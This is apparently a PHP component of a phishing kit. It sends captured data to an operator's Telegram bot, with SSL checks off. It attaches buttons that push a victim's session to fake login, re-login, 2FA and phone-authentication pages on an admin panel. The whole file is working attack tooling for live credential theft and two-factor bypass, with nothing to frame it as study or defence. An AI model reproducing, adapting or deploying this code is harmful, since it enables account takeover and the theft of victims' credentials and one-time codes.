<?php
if (file_exists(__DIR__ . '/config.php')) {
    include_once __DIR__ . '/config.php';
}

if (!isset($TGBO) || !isset($cID)) {
    // Attempt to find config.php in parent directory if not found in current (for subdirectory inclusions)
    if (file_exists(__DIR__ . '/../config.php')) {
        include_once __DIR__ . '/../config.php';
    }
}

$keyboard3 = [
    "inline_keyboard" => [
        [
            ["text" => "\xF0\x9F\x94\x9B Login", "url" => "https://".$lurl."Admin/mv.php?lo=login".$_SESSION['client']],
            ["text" => "\xE2\x8F\xA9 Re_login", "url" => "https://".$lurl."Admin/mv.php?lo=rlog".$_SESSION['client']]
        ],[
            ["text" => "\xF0\x9F\x94\x98 2FA", "url" => "https://".$lurl."Admin/mv.php?lo=otp".$_SESSION['client']],
            ["text" => "\xF0\x9F\x94\x98 Phone Auth", "url" => "https://".$lurl."Admin/mv.php?lo=phone".$_SESSION['client']]
        ], 
        [
            ["text" => "\xF0\x9F\x94\x9A Finish", "url" => "https://".$lurl."Admin/mv.php?lo=finsh".$_SESSION['client']]
        ]
    ]
];
$menukeyboard = json_encode($keyboard3);

if (isset($message)) {
    $data = [
        'text' => $message,
        'chat_id' => $cID,
        'parse_mode' => 'html',
        'reply_markup' => $menukeyboard
    ];    

    $website = "https://api.telegram.org/bot$TGBO";
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $result = curl_exec($ch);
    curl_close($ch);
}
?>